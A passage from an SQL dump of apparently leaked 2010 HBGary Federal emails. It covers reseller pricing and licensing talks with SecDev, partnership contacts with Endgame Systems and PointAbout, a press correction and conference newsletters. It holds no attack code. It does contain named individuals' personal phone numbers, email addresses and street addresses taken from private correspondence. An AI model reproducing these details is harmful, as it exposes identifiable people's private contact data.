Inc. focused on malware analysis,\r\n> incident response, and information operations products and services.  But\r\n> the reason for writing you is I have about 7 years experience in the web and\r\n> mobile app and services space as well and have some interesting ideas.  It\r\n> was all work done for the government so while I think I have a vision for\r\n> the direction of mobile information and services (the most important market\r\n> going forward IMO).  I don\'t know the people or processes in the purely\r\n> commercial space.\r\n> \r\n> I would like to exchange an NDA and come talk to you guys about the mobile\r\n> space.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n> 14:26:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',9424,'aaron_hbgary_com/9424.html'),(6982,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005087.M132786P14101Q1837.eml','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','Re: Introduction','Hi Arnav,Can we have a brief discussion about this. &nbsp;I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:Dear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.I wanted to follow-up with you regarding Penny\'s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.As such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it\'s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.Also, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev\'s product offerings and expand our client bases.I look forward to your thoughts.Best wishes,Arnav\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:OK, here is the long and short&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro as a perpetual license.&nbsp; It’s $10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It comes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000 per year.&nbsp; It only works with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp; You would receive a reseller discount off the product pricing.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for consultants.&nbsp; This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp; This allows you to use scan 1000’s of machines at once.&nbsp; Some companies like to use it as a “healthcheck”.&nbsp; This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.&nbsp;&nbsp; We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.&nbsp; This allows you to further look into an organization and let them know what is going on.&nbsp; May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.&nbsp; Where you offer a service that checks weekly (like a managed service) what is going on.&nbsp; 8 Week licenses start at $10 per node.&nbsp; If they want managed service we do this on a case by case basis.&nbsp;&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Tuesday, June 01, 2010 1:07 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Hi Penny,&nbsp;We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?&nbsp;The license we currently have is a trial/eval one.&nbsp;Thanks for this information.&nbsp;Best,Arnav&nbsp;&nbsp;On 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:Sure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Dear Penny, Aaron,&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.&nbsp;Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted to ensure that we have the right commercial agreement in place on that end.&nbsp;Best wishes,Arnav&nbsp;On 2010-05-24, at 4:54 PM, Arnav Manchanda wrote:Hello Penny,&nbsp;I am writing to follow-up on the reseller agreement that you sent - it looks fine from the standpoint of reselling HB Gary\'s products in Canada.&nbsp;In terms of reselling the package of HBGary services in Canada, could we somehow incorporate that into this agreement, or would you prefer this to be on a case by case basis? I had a conversation with Aaron on Thursday regarding reselling services and how the agreement could be to split the margin 2/3 - 1/3 between HBGary and SecDev. This would also address the integration that HBGary is working on with Fidelis/Endgame.&nbsp;Do let me know your thoughts on this.&nbsp;Best wishes,Arnav&nbsp;&nbsp;On 2010-05-20, at 3:25 PM, Penny Leavy-Hoglund wrote:Cool, thanks&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Thursday, May 20, 2010 12:13 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Thanks Penny, will have a look and get back to you by early next week.&nbsp;Best,Arnav&nbsp;On 2010-05-20, at 2:49 PM, Penny Leavy-Hoglund wrote:Hi Guys,&nbsp;Attached is our standard reseller form.&nbsp; Here are datasheets and two white papers.&nbsp; We are releasing a new white paper at CEIC, so I’ll send that to you once it’s out.&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Wednesday, May 19, 2010 4:18 AMTo:&nbsp;Aaron BarrCc:&nbsp;Penny LeavySubject:&nbsp;Re: Introduction&nbsp;Hi Aaron,&nbsp;I\'m free to talk today, between 10 and 1pm EST and 4-5 EST. Give me a shout whenever\'s best 613-755-4007&nbsp;Best,Arnav&nbsp;On 2010-05-18, at 4:22 PM, Aaron Barr wrote:Hi Arnav,&nbsp;Sure. &nbsp;Cc\'d is the president of HBGary Inc. &nbsp;They build and manage the product. &nbsp;Penny will get you the reseller agreement. &nbsp;We use the HBGary products as our foundation for enterprise incident response engagements. &nbsp;I will send you some information on this. &nbsp;Can we talk briefly tomorrow?&nbsp;AaronSent from my iPadOn May 18, 2010, at 4:15 PM, Arnav Manchanda &lt;a.manchanda@secdev.ca&gt; wrote:Hi Aaron,&nbsp;Thanks for this. It was good to speak to you on Friday.&nbsp;Looking forward to receiving a reseller agreement/other materials that we can go through.&nbsp;Best wishes,Arnav&nbsp;&nbsp;Arnav ManchandaBusiness Capture &amp; AnalyticsThe&nbsp;SecDev&nbsp;Groupcomplexity.engaged&nbsp;World Exchange Plaza45 O\'Connor Street, Suite 1150Ottawa, Ontario K1P 1A4Office:&nbsp;+1 (613) 755-4007Cell:&nbsp;&nbsp;+1 (613) 806-4081E-mail:&nbsp;a.manchanda@secdev.ca&nbsp;&nbsp;This email and any attached files are confidential and copyright protected. If you are not the addressee, any dissemination of this communication is strictly prohibited. Unless otherwise expressly agreed in writing, nothing stated in this communication shall be legally binding.&nbsp;Consider the environment. Please don\'t print this e-mail unless you really need to.&nbsp;&nbsp;On 2010-05-14, at 3:49 PM, Aaron Barr wrote:Sent from my iPadBegin forwarded message:From:&nbsp;Aaron Barr &lt;aaron@hbgary.com&gt;Date:&nbsp;May 14, 2010 11:14:20 AM EDTTo:&nbsp;Scott K. Brown &lt;sbrown@dewnet.ncsc.mil&gt;Cc:&nbsp;Nart Villeneuve &lt;nart.villeneuve@utoronto.ca&gt;Subject:&nbsp;IntroductionScott,Let me introduce Nart Villeneuve. &nbsp;Nart is the CTO for SecDev. &nbsp;Most recently they have put together and presented some very interesting findings on the cyber attacks against the office of the Dali Lama (ghostnet) and some broader related attacks (shadownet). &nbsp;Their investigative techniques are thorough and would likely provide some good information to the group at the REBL conference.Nart,Scott managed the Blue Team at NSA and is putting together this years conference. &nbsp;He is looking for some interesting speakers concerning malware, malware analysis, threats, integration of capabilities, etc. &nbsp;I mentioned to him I thought your talk would be appropriate and engaging.Aaron&nbsp;&nbsp;&lt;HBGary-VAR Agrmt (6-08)1 (3).doc&gt;&lt;datasheet_DDNA.pdf&gt;&lt;datasheet_Responder pro.pdf&gt;&lt;EA_REcon_FINALDRAFT.pdf&gt;&lt;HBG Malware Report_FINAL_FINAL.pdf&gt;&nbsp;&nbsp;&nbsp;&nbsp;\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',7988,'aaron_hbgary_com/7988.html'),(6983,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005087.M368747P14101Q1838.eml','\"Daniel Ingevaldson\" <dsi@endgames.us>','Re: Meeting invitation: Sicily Discussion','I am pretty flexible the rest of today and tomorrow, just in Colorado working on some of the integration between EGS, Fidelis, HBGary tech.\r\n\r\nAaron\r\n\r\nOn Jun 1, 2010, at 5:05 PM, Daniel Ingevaldson wrote:\r\n\r\n> Aaron, thanks for your time on the line today.  We\'re excited that you guys are immediately seeing value from the feed.  I owe you some feedback on the items we discussed at the end of the call.  What times work for you to have a follow-up call on partnership opportunities?  I\'d like to bring in Chris on this end as well.  Thanks Aaron, talk soon.\r\n> \r\n> Best,\r\n> -d\r\n> \r\n> ---------------------------------\r\n> Daniel S. Ingevaldson, COO\r\n> Endgame Systems, LLC\r\n> dsi@endgames.us\r\n> (w)404-781-2955\r\n> (f)404-781-2951\r\n> (m)404-992-9449\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',16103,'aaron_hbgary_com/16103.html'),(6984,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005088.M980160P14101Q1839.eml','\"Mark Trynor\" <mark@hbgary.com>','logos','\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',14785,'aaron_hbgary_com/14785.html'),(6985,'2010-06-03','\"Regus\" <email@regusworldwide.com>','/aaron@hbgary.com/new/1297005089.M317903P14101Q1840.eml','aaron@hbgary.com','Regus : Network Update','\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n Email Template \r\n	\r\n\r\n\r\n\r\n	\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n\r\n		\r\n\r\n			\r\n				\r\n				Regus : New Centre Alert \r\n \r\n				Regus expands its investment in Middle East, opening its first business centre in Oman\r\n\r\n				\r\n				\r\nA new Regus business centre in Muscat will help companies establish a presence in Oman. The opening of the centre will make it easier for organisations of all sizes and in all sectors to access this fast-growing and business-friendly market in the Middle East. Find out more\r\n				\r\n				\r\n				 \r\n			\r\n					\r\n				This alert is brought to you by Regus.\r\n						 \r\n			\r\n								 \r\n				Regus Group plc and its subsidiaries (\"Regus Group\") respect your privacy and are committed to protecting it. If you no longer wish to receive our promotional communications, you may opt-out of them at any time by clicking Update Profile.  You can find out more by reading our privacy policy.\r\n  Regus plc (société anonyme) Head Office: 26 Boulevard Royal, L-2449 Luxembourg R.C.S. Luxembourg B: 141159. Registered Office: 22 Grenville Street , St Helier, Jersey , JE4 8PX , Channel Islands Jersey Registered Number: 101523\r\n			\r\n\r\n\r\n		\r\n\r\n		\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',289,'aaron_hbgary_com/289.html'),(6986,'2010-06-03','\"Traci Wei\" <twei@capsllc.net>','/aaron@hbgary.com/new/1297005089.M711983P14101Q1841.eml','first-2010announce@first.org','New Podcast with FIRST 2010 Program Chair Andrew Cushman now Available!','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDear\r\nColleague,\r\n\r\n&nbsp;\r\n\r\nCan\r\nyou believe the 22nd Annual FIRST Conference is just 10 days away! \r\n\r\nIf\r\nyou haven&#8217;t registered, please do so at your earliest convenience to\r\nensure a speedy check-in.&nbsp; Standard rates for members and non-members will\r\nexpire this Friday (June 4).&nbsp; Registration is available at http://conference.first.org. \r\n\r\n&nbsp;\r\n\r\nVolume\r\n2, Episode 3: 2010 Program Chair, Andrew Cushman of Microsoft\r\n\r\nMartin\r\ntalks with FIRST Program Chair, Andrew Cushman, Director of Security Response\r\nand Outreach at Microsoft&#8217;s Trustworthy Computing.&nbsp; Andrew is a\r\ndriving force behind the company&#8217;s security researcher outreach strategy\r\nand execution efforts, formulating the Responsible Disclosure Initiative and\r\ninitiating the BlueHat security conference franchise. Andrew will be in Miami\r\nall week and moderating the panel, &#8220;Implications of the Cloud&#8221; on\r\nThursday, June 17 @11:00. Access the interview at http://conference.first.org/podcasts.aspx.\r\n\r\n\r\n&nbsp;\r\n\r\nDon&#8217;t\r\nForget About Your CPE Credits!\r\n\r\nBy\r\nattending the Annual FIRST Conference, you have the opportunity to earn up to 29\r\nCPE credits during the main sessions held Monday-Friday.&nbsp; Additional\r\ncredits can be earned for those attending the Sunday Joint FIRST/ICANN\r\nWorkshop. &nbsp;The conference office will collect (ISC)2 member numbers\r\nfollowing conference completion.&nbsp; \r\n\r\n&nbsp;\r\n\r\nFor\r\nmore details on credits please visit http://conference.first.org/Program/cpe.aspx\r\nor send questions to us at first-2010@first.org.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nGetting\r\nReady for Miami? \r\n\r\nIf\r\nyou have any specific travel questions, please don&#8217;t hesitate to contact\r\nus directly at first-2010@first.org.&nbsp;\r\n\r\n\r\n&nbsp;\r\n\r\nTwitter\r\n\r\nFollow\r\nlive conference updates at http://www.twitter.com/firstdotorg!\r\n\r\n&nbsp;\r\n\r\nOn\r\nLinkedIn?&nbsp;\r\n\r\n\r\nDon&#8217;t\r\nforget to add the conference to the events that you are attending! \r\n\r\nhttp://events.linkedin.com/22nd-Annual-FIRST-Conference/pub/75123\r\n\r\n&nbsp;\r\n\r\nJoin\r\nthe FIRST LinkedIn Group at http://www.linkedin.com/groups?gid=2585&amp;trk=myg_ugrp_ovr.\r\n\r\n\r\n&nbsp;\r\n\r\nKind\r\nregards,\r\n\r\nTraci\r\n\r\n&nbsp;\r\n\r\nTraci Wei\r\n\r\nConference &amp; Marketing Coordinator\r\n\r\n..............................................................\r\n\r\nConference &amp; Publication Services, LLC\r\n\r\n213 W. Institute Place, Suite 405\r\n\r\nChicago, IL 60610\r\n\r\nd. 312.268.6784\r\n\r\np. 312.372.1255 ext. 107\r\n\r\nf.&nbsp; 312.372.1427\r\n\r\nt.&nbsp; @capsllc\r\n\r\nhttp://www.capsllc.net\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',206,'aaron_hbgary_com/206.html'),(6987,'2010-06-03','\"Scott Suhy\" <Scott.Suhy@PointAbout.com>','/aaron@hbgary.com/new/1297005090.M436028P14101Q1842.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Introduction','Are you good for the morning of the 8th?    \r\n\r\nWe\'ve been working on a response to the darpa bid for the last 3 weeks.\r\nThere is also one for HLS see\r\nhttps://www.sbir.dhs.gov/currentsolicitation.aspx#101009 we decided to not\r\nbid this one.\r\n\r\nPEO EIS has one that is in RFI stage and one for SSA see\r\nhttps://www.fbo.gov/spg/SSA/DCFIAM/OAG/SSA-RFI-10-1013/listing.html \r\n\r\n____________________________________________________\r\nScott B. Suhy\r\nCEO, PointAbout Inc.\r\nCell: 202.557.6937\r\n1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\nskype:scott.suhy \r\n\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, June 03, 2010 12:57 PM\r\nTo: Scott Suhy\r\nSubject: Re: Introduction\r\n\r\nHi Scott,\r\n\r\nHow is your schedule for getting together next week?  Did you see the link I\r\nsent on the DARPA opportunity for app development?\r\n\r\nAaron\r\n\r\nOn May 27, 2010, at 7:32 AM, Scott Suhy wrote:\r\n\r\n> Aaron,\r\n> \r\n> Give me a ring today (cell below).\r\n> \r\n> ____________________________________________________\r\n> Scott B. Suhy\r\n> CEO, PointAbout Inc.\r\n> Cell: 202.557.6937\r\n> 1410 Q street NW Washington, DC 20009 (http://1410q.com) \r\n> skype:scott.suhy \r\n> \r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Thursday, May 27, 2010 9:07 AM\r\n> To: info@PointAbout.com\r\n> Subject: Introduction\r\n> \r\n> Hi PointAbout,\r\n> \r\n> I have been doing a little bit of research on local DC talent for mobile\r\n> development and found you guys, turns out I actually have a few of your\r\napps\r\n> on my iPhone.\r\n> \r\n> My company is the sister company to HBGary Inc. focused on malware\r\nanalysis,\r\n> incident response, and information operations products and services.  But\r\n> the reason for writing you is I have about 7 years experience in the web\r\nand\r\n> mobile app and services space as well and have some interesting ideas.  It\r\n> was all work done for the government so while I think I have a vision for\r\n> the direction of mobile information and services (the most important\r\nmarket\r\n> going forward IMO).  I don\'t know the people or processes in the purely\r\n> commercial space.\r\n> \r\n> I would like to exchange an NDA and come talk to you guys about the mobile\r\n> space.\r\n> \r\n> Aaron Barr\r\n> CEO\r\n> HBGary Federal Inc.\r\n> \r\n> \r\n> No virus found in this incoming message.\r\n> Checked by AVG - www.avg.com \r\n> Version: 9.0.819 / Virus Database: 271.1.1/2897 - Release Date: 05/26/10\r\n> 14:26:00\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nNo virus found in this incoming message.\r\nChecked by AVG - www.avg.com \r\nVersion: 9.0.829 / Virus Database: 271.1.1/2914 - Release Date: 06/03/10\r\n02:25:00\r\n\r\n',12834,'aaron_hbgary_com/12834.html'),(6988,'2010-06-03','\"Karen Burke\" <karenmaryburke@gmail.com>','/aaron@hbgary.com/new/1297005090.M743649P14101Q1843.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Interview','\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, One thing I noticed is that the intro calls you CEO of HBGary -- not HBGary Federal. Do you think the writer would be able to update the story to say HBGary Federal? Not a big deal, but I don&#39;t think I should push out on Twitter without the change. Best, K \r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Jun 3, 2010 at 5:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nNot sure if you saw this so sending you the link.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n',15146,'aaron_hbgary_com/15146.html'),(6989,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005090.M966434P14101Q1844.eml','\"Karen Burke\" <karenmaryburke@gmail.com>','Re: Interview','Yeah I will see if we can get that fixed.Sent from my iPadOn Jun 3, 2010, at 11:51 AM, Karen Burke &lt;karenmaryburke@gmail.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron, One thing I noticed is that the intro calls you CEO of HBGary -- not HBGary Federal. Do you think the writer would be able to update the story to say HBGary Federal? Not a big deal, but I don&#39;t think I should push out on Twitter without the change. Best, K \r\n\r\n\r\n \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Thu, Jun 3, 2010 at 5:58 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\nHi Karen, \r\n\r\nNot sure if you saw this so sending you the link.\r\n\r\nhttp://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',5318,'aaron_hbgary_com/5318.html'),(6990,'2010-06-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005091.M271641P14101Q1845.eml','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','Re: Link to interview','Hi Camille,\r\n\r\nWould u be able to fix the company from ceo of HBGary to CEO of HBGary federal?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 2, 2010, at 8:38 AM, Camille Tuutti-Winkler\r\n wrote:\r\n\r\n>\r\n> Aaron, here is the link to the interview.\r\n>\r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n>\r\n> Thanks!\r\n>\r\n> Camille Tuutti | Reporter | ExecutiveBiz\r\n> 8230 Old Courthouse Road, Vienna, VA 22182\r\n> Office: 703-226-7004\r\n> ________________________________________\r\n',4569,'aaron_hbgary_com/4569.html'),(6991,'2010-06-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1297005091.M522810P14101Q1846.eml','all@hbgary.com','Sales issues if customer wants both DDNA/ePO and Active Defense','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nAll,\r\n\r\n&nbsp;\r\n\r\nCiphent has many clients with McAfee ePO.&nbsp; They want to\r\nupgrade them to DDNA/ePO AND Active Defense.&nbsp; I spoke with Michael and\r\nfound out that at present customers are limited to running DDNA/ePO OR Active\r\nDefense.&nbsp; In other words, today they can&#8217;t use both.\r\n\r\n&nbsp;\r\n\r\nYes, ePO uses AD for licensing, but that is the extent of\r\nit.&nbsp; If a customer chooses DDNA/ePO they cannot run the AD queries.\r\n\r\n&nbsp;\r\n\r\nReason&#8230;&#8230;In ePO the DDNA agent runs as a command\r\nline utility and runs only when the ePO agents instructs it to run.&nbsp; In AD\r\nthe DDNA agent runs as a service.&nbsp; Theoretically, today we could install\r\nthe DDNA agent twice, once for each system, but there is currently no mechanism\r\nto avoid collisions between ePO and AD.&nbsp; For example, it would be viewed\r\nas undesirable for ePO and AD to activate DDNA agents at the same time.\r\n\r\n&nbsp;\r\n\r\nI anticipate that our developers will ultimately make ePO and\r\nAD co-exist elegantly, but in the short term we need to let our prospects know\r\nthat they need to pick DDNA/ePO or AD, and can&#8217;t have both at the same\r\ntime.\r\n\r\n&nbsp;\r\n\r\nBob \r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15780,'aaron_hbgary_com/15780.html'),(6992,'2010-06-03','\"Camille Tuutti-Winkler\" <camille@executivebiz.com>','/aaron@hbgary.com/new/1297005091.M768619P14101Q1847.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Link to interview','Aaron,\r\nWe\'ll take care of that ASAP--thanks for letting me know.\r\n\r\nCamille Tuutti | Reporter | ExecutiveBiz\r\n8230 Old Courthouse Road, Vienna, VA 22182\r\nOffice: 703-226-7004\r\n________________________________________\r\nFrom: Aaron Barr [aaron@hbgary.com]\r\nSent: Thursday, June 03, 2010 2:02 PM\r\nTo: Camille Tuutti-Winkler\r\nSubject: Re: Link to interview\r\n\r\nHi Camille,\r\n\r\nWould u be able to fix the company from ceo of HBGary to CEO of HBGary federal?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 2, 2010, at 8:38 AM, Camille Tuutti-Winkler\r\n wrote:\r\n\r\n>\r\n> Aaron, here is the link to the interview.\r\n>\r\n> http://www.thenewnewinternet.com/2010/06/02/aaron-barr-computer-security-is-a-hunt-an-investigation-it%E2%80%99s-a-challenge/\r\n>\r\n> Thanks!\r\n>\r\n> Camille Tuutti | Reporter | ExecutiveBiz\r\n> 8230 Old Courthouse Road, Vienna, VA 22182\r\n> Office: 703-226-7004\r\n> ________________________________________\r\n',11926,'aaron_hbgary_com/11926.html');
INSERT INTO `emails` VALUES (6993,'2010-06-03','\"Arnav Manchanda\" <a.manchanda@secdev.ca>','/aaron@hbgary.com/new/1297005092.M327217P14101Q1848.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Introduction','Hi Aaron,Are you available today to talk to my CEO Rafal?&nbsp;Best,Arnav\r\n\r\nOn 2010-06-03, at 1:00 PM, Aaron Barr wrote:Hi Arnav,Can we have a brief discussion about this. &nbsp;I think that would help to move things a long.AaronOn Jun 2, 2010, at 9:28 AM, Arnav Manchanda wrote:Dear Aaron, Penny,Hope all is well and that you had a relaxing Memorial Day weekend.I wanted to follow-up with you regarding Penny\'s email below on pricing HBGary products for SecDev. To consolidate our previous discussions and to avoid confusion, we (SecDev) envision two aspects to the relationship with HBGary: 1) using HBGary products in our investigative/commercial work, and 2) developing HBGary integration with Palantir as part of a suite of cyber security capabilities.As such, we would require the appropriate license for use in both tasks.For the commercial work, we believe it would be best to deploy HBGary as a loss leader for the initial few clients--we have some upcoming opportunities where this could be the case. In return, we anticipate that this would create a significant market for HBGary products and services in Canada. We are also hoping to write up case studies of these cases, and would make it clear that HBGary was critical to our work. We work this way with Palantir--it\'s a loss leader, but it has created considerable interest and demand for Palantir in Canada which we are now capitalizing on. Of course, such an arrangement with HBGary would not be in perpetuity, instead we would work this way for an an initial 10-12 months while we get things off the ground, and then move to a regular commercial arrangement where we buy the product and pass the cost to the client.Also, as mentioned above we would need a license for use in-house for the integration work - I believe the license you gave Nart would be appropriate for this, but I could be wrong. Needless to say, this integration work will only improve both HBGary and SecDev\'s product offerings and expand our client bases.I look forward to your thoughts.Best wishes,Arnav\r\nOn 2010-06-01, at 5:54 PM, Penny Leavy-Hoglund wrote:OK, here is the long and short&nbsp;1.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Yes you can buy Responder Pro as a perpetual license.&nbsp; It’s $10,200 and $2040 per year in maintenance.&nbsp;&nbsp; The consulting copy is $7500 per year but since you are a partner, you can buy the perpetual.&nbsp; It comes with one copy of FastDump Pro.&nbsp; Additional copies of FastDump Pro are $100 per copy.&nbsp; Digital DNA is a separate component and it is $2000 per year.&nbsp; It only works with Responder Pro, it does not work with Field Edition.&nbsp; .&nbsp; You would receive a reseller discount off the product pricing.2.&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;We also have CLiP pricing for consultants.&nbsp; This is a “timed license” of Active Defense, or DDNA for ePO or DDNA for Encase.&nbsp; This allows you to use scan 1000’s of machines at once.&nbsp; Some companies like to use it as a “healthcheck”.&nbsp; This is kind of like a “pen test” where it’s a two week license and you scan X amount of nodes.&nbsp; Pricing starts at $5 per node.&nbsp; This way, instead of looking at 15 machines, you can take a percentage of a company and see their threat profile.&nbsp;&nbsp; We also have an engagement license which typically goes for 8 weeks and this again is based per node and is timed.&nbsp; This allows you to further look into an organization and let them know what is going on.&nbsp; May seem like a lot upfront, but basically once you get a handle on the machines, what is in there etc, you can work with them to then do remediation management.&nbsp; Where you offer a service that checks weekly (like a managed service) what is going on.&nbsp; 8 Week licenses start at $10 per node.&nbsp; If they want managed service we do this on a case by case basis.&nbsp;&nbsp;&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Tuesday, June 01, 2010 1:07 PMTo:&nbsp;Penny Leavy-HoglundCc:&nbsp;\'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Hi Penny,&nbsp;We have a job upcoming for a client that requires the use of Fast Dump/Responder Pro across multiple machines (~15). What would be the price for us if we bought that product outright and use it for this and future jobs, vs. what would be the per engagement license cost/how would it work?&nbsp;The license we currently have is a trial/eval one.&nbsp;Thanks for this information.&nbsp;Best,Arnav&nbsp;&nbsp;On 2010-06-01, at 2:52 PM, Penny Leavy-Hoglund wrote:Sure you can modify agreement.&nbsp; With regards to products being used for consulting services, you should purchase a copy to do that.&nbsp; I’m assuming you have Responder Pro.&nbsp; We also have AD licenses designed for consultants so that you can charge per engagement fees to customers&nbsp;From:&nbsp;Arnav Manchanda [mailto:a.manchanda@secdev.ca]&nbsp;Sent:&nbsp;Monday, May 31, 2010 5:34 AMTo:&nbsp;Arnav ManchandaCc:&nbsp;Penny Leavy-Hoglund; \'Aaron Barr\'Subject:&nbsp;Re: Introduction&nbsp;Dear Penny, Aaron,&nbsp;I am writing to follow up on the email below regarding marketing both HBGary products and services in Canada, and to modify the reseller agreement that you sent me as required.&nbsp;Aaron: I also wanted to clarify whether we could use the license that you gave Nart for our own commercial work, and what the modalities would be on that. We have a job coming up that would require HBGary product deployment, so I wanted 